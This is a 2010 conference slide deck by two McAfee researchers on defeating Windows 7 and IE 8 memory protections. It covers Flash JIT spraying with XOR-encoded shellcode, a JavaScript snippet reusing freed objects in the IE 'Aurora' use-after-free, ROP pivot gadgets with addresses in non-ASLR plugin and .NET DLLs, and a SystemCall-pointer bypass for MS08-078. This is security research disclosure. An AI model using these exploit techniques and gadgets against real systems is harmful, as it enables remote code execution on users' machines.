



# Defeat windows 7 browser memory protection

Chen XiaoBo

Xiao\_Chen@McAfee.com

Xie Jun

Jun\_Xie@McAfee.com

# Windows protection review

- **GS**
  - Stack cookies prevents overwrite EIP
  - Can be defeated by overwrite SEH chains
- **SafeSEH & SEHOP**
  - SEH handler validation
  - Can be defeated by overwrite by register SEH handler or DLL without SafeSEH
    - Case DNS RPC buffer overflow
  - SEH chain validation
- **Heap Protection**
  - Safe unlinking
  - Heap cookies
  - Heap metadata encryption
  - Safe LAL (Lookaside lists)
  - Most protection are added in vista / 2008 / win7
  - Lookaside overwrite technique still works on XP/2003



# Windows protection review

- **DEP**
  - NX support
  - Permanent DEP
    - IE 8 DEP is permanent
    - NtSetProcessInformation() technique no longer working
  - Ret-to-libc or ROP (Return-Oriented Programming ) shellcode can be used to defeat the DEP
- **ASLR**
  - Address space layout randomization
  - Images / stack / heap / PEB / TEB
  - Prevent ret-to-libc attacks

# Windows protection review

- Brute force
  - Guess the base DLL address via IE
  - Not a good way
- Information leak
  - Currently No general way to do that remotely
  - Probably it's need another 0day

# Exploitation technique overview

- Brower memory protection bypasses
  - By Alexander Sotirov & Mark Dowd
  - Flash
    - Flash also got ASLR now
  - Java
    - Java allocates RWX memory
    - But is allocated inside java.exe process now
  - .NET user control
    - The easily way to bypass ASLR & DEP in the past
    - But now IE 8 blocks .NET user control from internet zone

# Public exploitation technique

- Flash JIT
  - By Dion Blazakis at BlackHat DC 2010
  - Spray heap with executable memory
    - Bypass DEP & ASLR
  - It's can be done by load multiple SWF files into IE process
    - The address goes to a stable location
  - JIT code was encrypted in Flash 10.1



XCon® 2010

# Public exploitation technique

- Flash JIT
  - Write shellcode in ActionScript way
    - Use long XOR expression
    - XOR instruction only one byte (0x35)
    - 0x3c with XOR EAX opcode 0x35 can be merge to a nope-like instruction.
      - CMP AL, 0x35
    - Our idea is call NtAllocateVirtualMemory()/VirtualAlloc() in AS shellcode
      - Allocates memory with PAGE\_EXECUTE\_READWRITE flag
      - Copy the real shellcode and jump to execute



# Public exploitation technique

- Flash JIT
  - Example of push NtAllocateVirtualMemory() arguments
    - 3589e5eb01 xor eax,1EBE589h
    - 3583ec103c xor eax,3C10EC83h
    - 356a40eb01 xor eax,1EB406Ah
    - 3531c0eb01 xor eax,1EBC031h
    - 35b410eb01 xor eax,1EB10B4h
    - 355031db3c xor eax,3CDB3150h
    - 35b740eb01 xor eax,1EB40B7h
    - 35895d043c xor eax,3C045D89h
    - 358d5d043c xor eax,3C045D8Dh
    - 355331db3c xor eax,3CDB3153h
    - 356a00eb01 xor eax,1EB006Ah
    - 35895d083c xor eax,3C085D89h
    - 358d5d083c xor eax,3C085D8Dh
    - 35536aff3c xor eax,3CFF6A53h
    - 356a00eb01 xor eax,1EB006Ah



# Public exploitation technique

- Flash JIT
  - Execute from address + 1 become significant code
  - Feel painful to write shellcode in ActionScript ?
  - Now we have shellcode2as.exe ☺
  - Automatic convert shellcode into ActionScript



# Case study #1

- Flash JIT with IE aurora on windows 7
  - IE aurora
    - use-after-free vulns
    - Widely seen in the browser's JS/DOM implement
  - Root Cause
    - EVENTPARAM reference CTreeNode without AddRef()
    - CTreeNode has been freed due element.innerHTML property
    - Cause dangling pointer issue when access event object srcElement or toElement

# Case study #1

- Flash JIT with IE aurora on windows 7
  - Reuse the object
    - Get allocated size of CTreeNode
      - IE 7: 0x34
      - IE 8: 0x4c
    - Allocate same size in HTML to reuse the object
  - Go exploit it



XCon® 2010

# Case study #1

- Flash JIT with IE aurora on windows 7

```
- var reuse_object = new Array();  
- for(var x=0;x<9200;x++) {  
-     reuse_object.push(document.createElement("img"));  
- }  
- for (var x=0; x < 0x4c/4; i ++)  
-     var string_data = unescape("%u3344%u1122");  
  
-  
- for(var x=0; x < reuse_object.length; x++) {  
-     reuse_object[x].src = string_data;  
- }
```



# Case study #1

- Flash JIT Demo on windows 7



XCon® 2010

# New exploitation technique

- 3<sup>rd</sup> Party IE plugin on windows 7
  - JRE without ASLR
  - jp2ssv.dll is loaded by default
  - If you wants load more JRE DLLs
  - Just embed Java applet in webpage
    - <applet code="some.class"></applet>



# New exploitation technique

- 3<sup>rd</sup> Party IE plugin on windows 7
  - Bonjour for iTunes / QT
  - Adobe Shockwave (dirapi.dll)
    - Assured Exploitation (cansecwest)
    - DEP in depth (syscan 2010)
  - This DLL without ASLR and loaded by default



XCon® 2010

# New exploitation technique

- 3<sup>rd</sup> Party IE plugin on windows 7
  - Find useful instructions in JRE
  - Find instruction which make ESP point to your data
    - LEA ESP, [REG] RET
    - LEA ESP, [REG + XX] RET
    - PUSH REG POP ESP RET
    - XCHG REG, ESP RET
    - XCHG ESP, REG RET
    - MOV ESP, REG RET
    - MOV REG, FS:[0] RET
    - More combinations: CALL [REG + ???] and XCHG REG, ESP RET
    - ...
  - Write ROP shellcode to get control



# New exploitation technique

- 3<sup>rd</sup> Party IE plugin on windows 7
  - Make your code memory RWX
  - The easiest way probably is call VirtualProtect() to make memory RWX
  - WriteProcessMemory()
    - Invoke NtWriteProcessMemory()
    - Can be used to write code to a read only & executable pages bypass memory
  - Allocate RWX memory and copy shellcode into & execute
    - Adobe TIFF exploit



# New exploitation technique

- 3<sup>rd</sup> Party IE plugin on windows 7

- A example of control ESP in mdnsNSP.dll

- mdnsNSP!DIIUnregisterServer+0x7b:
      - 1608114b 94                xchg    eax,esp
      - 1608114c 0100              add     dword ptr [eax],eax
      - 1608114e 00c3              add     bl,al
      - 16081150 b826270000      mov     eax,2726h
      - 16081155 c21400           ret     14h



XCon® 2010

# Case study #2

- IE aurora exploit with JRE on windows 7
  - ESP code in JRE
    - awt!Java\_sun\_java2d\_loops\_DrawRect\_DrawRect+0x6de:
      - 6d005f6e 94                xchg    eax,esp
      - 6d005f6f c3                ret
    - jp2iexp!DIIGetObject+0x1496:
      - 6d417e6c 94                xchg    eax,esp
      - 6d417e6d c3                ret



# Case study #2

- IE aurora exploit with JRE on windows 7
  - Putting data in the HeapSpray (done with Javascript)
    - ROP and the real shellcode
    - Make perfect heap allocations to avoid align issues.



XCon® 2010

# Case study #2

- IE aurora exploit with JRE on windows 7
  - Call [VirtualProtect] in jvm.dll
    - jvm!JVM\_FindSignal+0x5732b:
    - 6d97c9cb ff1588d09f6d call dword ptr [jvm!JVM\_FindSignal+0xd79e8 (6d9fd088)]
    - 6d97c9d1 f7d8 neg eax
    - 6d97c9d3 1bc0 sbb eax,eax
    - 6d97c9d5 f7d8 neg eax
    - 6d97c9d7 5f pop edi
    - 6d97c9d8 5e pop esi
    - 6d97c9d9 5d pop ebp
    - 6d97c9da c3 ret
  - Return to VirtualProtect(mem, 0x2000, 0x40, ptr) to make Heap RWX



# Case study #2

- IE aurora Java ROP demo on windows 7



XCon® 2010

# New exploitation technique

- .NET Framework on windows 7
  - IE 8 did block .Net control from internet zone
  - You can not make IE load your exploit.dll
  - Unless you have other vuln to jump to trusted zone



XCon® 2010

# New exploitation technique

- .NET Framework on windows 7
  - But now it's not a problem
  - Windows 7 using .NET framework from 1.0 – 3.5
  - V1.0 – v2.0 still compiled with OLD compiler
  - Most DLLs are not with ASLR !!



XCon® 2010

# New exploitation technique

- .NET Framework on windows 7
  - Using .NET user control which compiled with 2.0 C# compiler
  - Force IE to load old version .NET DLLs !!
  - Example:
    - Even your .NET user control has been blocked
    - But it still will load .NET IE mime filter DLL into IE process



# New exploitation technique

- .NET Framework on windows 7
  - ModLoad: 63f00000 63f0c000  
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorie.dll
  - This DLL is without ASLR !!

# New exploitation technique

- IE aurora exploit with .NET Framework on windows 7
  - Control the ESP
    - mscore!DIIGetObjectInternal+0x3452:
    - 63f0575b 94            xchg eax,esp
    - 63f0575c 8b00        mov eax,dword ptr [eax]
    - 63f0575e 890424     mov dword ptr [esp],eax
    - 63f05761 c3           ret

# New exploitation technique

- IE aurora exploit with .NET Framework on windows 7
  - Return to VirtualProtect() make Heap RWX
    - mscoree!DIIGetClassObjectInternal+0x29e2:
      - 63f04ceb 55            push    ebp
      - 63f04cec 8bec        mov    ebp,esp
      - 63f04cee ff7518      push    dword ptr [ebp+18h]
      - 63f04cf1 ff7514      push    dword ptr [ebp+14h]
      - 63f04cf4 ff7510      push    dword ptr [ebp+10h]
      - 63f04cf7 ff750c      push    dword ptr [ebp+0Ch]
      - 63f04cfa ff150011f063 call    dword ptr [mscoree+0x1100 (63f01100)] (VirtualProtect)



# Case study #3

- IE aurora .NET ROP demo on windows 7

# New exploitation technique

- SystemCall On Windows
  - 0:007> dt \_KUSER\_SHARED\_DATA 0x7ffe0000  
ntdll!\_KUSER\_SHARED\_DATA  
...  
+0x300 SystemCall : 0x772864f0  
+0x304 SystemCallReturn : 0x772864f4  
0:007> u 772864f0  
ntdll!KiFastSystemCall:  
772864f0 8bd4 mov edx,esp  
772864f2 0f34 sysenter  
ntdll!KiFastSystemCallRet:
  - SystemCall pointer Adress 0x7ffe0300 not ASLR !!



# New exploitation technique

- SystemCall On Windows

- Windows user-mode enter to Kernel-mode like this
  - 0:019> u ZwCreateProcess

ntdll!NtCreateProcess:

```
77284ae0 b84f000000    mov    eax,4Fh  
77284ae5 ba0003fe7f    mov    edx,offset SharedUserData!SystemCallStub (7ffe0300)  
77284aea ff12          call   dword ptr [edx]  
77284aec c22000         ret    20h
```

- We can construct shellcode like a System Call manually
  - Using SystemCall can bypass DEP and ALSR



XCon® 2010

# Case study #4

- IE MS08-078 exploit with SystemCall on windows

- Use heap spray fill the SystemCall address mapping in memory
  - Exploit the vulnerability success address in our mapped SystemCall address

- .text:461E3D30                        mov    eax, [esi] //eax==0x0a0a11c8  
....                                        // 0x11c8 be a systemcall ID  
.text:461E3D4C                        mov    ecx, [eax] // [0x0a0a11c8]==0x7ffe027c  
.text:461E3D4E                        push   edi  
.text:461E3D4F                        push   eax //eax==0x0a0a11c8  
.text:461E3D50                        call   dword ptr [ecx+84h] //call [0x7FFE0300] SystemCall

- The same as NtUserLockWorkStation Service Call

```
mov  eax,11c8h
mov  edx,offset SharedUserData!SystemCallStub (7ffe0300)
call dword ptr [edx]
```



# Case study #4

- System call on x64
  - 7ffe0300 do not hold KiFastSystemCall anymore
  - Instead of **call dword ptr fs:[0C0h]**
    - 0:000> u NtQueryInformationToken
    - ntdll!NtQueryInformationToken:
    - 77d9fb38 b81e000000 mov eax,1Eh
    - 77d9fb3d 33c9 xor ecx,ecx
    - 77d9fb3f 8d542404 lea edx,[esp+4]
    - 77d9fb43 64ff15c0000000 call dword ptr fs:[0C0h]
    - 77d9fb4a 83c404 add esp,4
    - 77d9fb4d c21400 ret 14h



# The End

- Now we know at least 4 ways to bypass ASLR & DEP



XCon® 2010

# Thanks

## Q&A